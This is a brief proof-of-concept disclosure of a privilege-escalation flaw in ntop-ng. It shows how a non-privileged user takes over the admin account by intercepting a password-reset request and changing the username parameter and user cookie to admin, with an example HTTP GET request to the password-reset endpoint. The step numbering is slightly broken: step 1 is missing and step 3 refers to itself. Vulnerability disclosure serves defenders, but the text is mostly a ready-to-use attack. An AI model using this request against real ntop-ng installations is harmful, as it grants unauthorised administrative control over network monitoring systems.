in the latest stable release of ntop-ng it is possible to escalate the privileges of a non-privileged user to the admin account by resetting the password, intercepting the request and replacing the HTTP parameters.# Vulnerability Proof of concept

2. Change the account password and intercept the request, modifythe username= and Cookie user= and change to the admin account
Example:
GET /lua/admin/password_reset.lua?csrf=XXXXXXXXXXXXXXXXXX&username=admin&old_password=12345&new_password=123456&confirm_new_password=123456 HTTP/1.1
Cookie: user=admin; session=XXXXXXXXXXXXXXXXXXXXXXXXX
3. Login with the admin account and the password you defined in step #3.
Voila! you're an administrator.
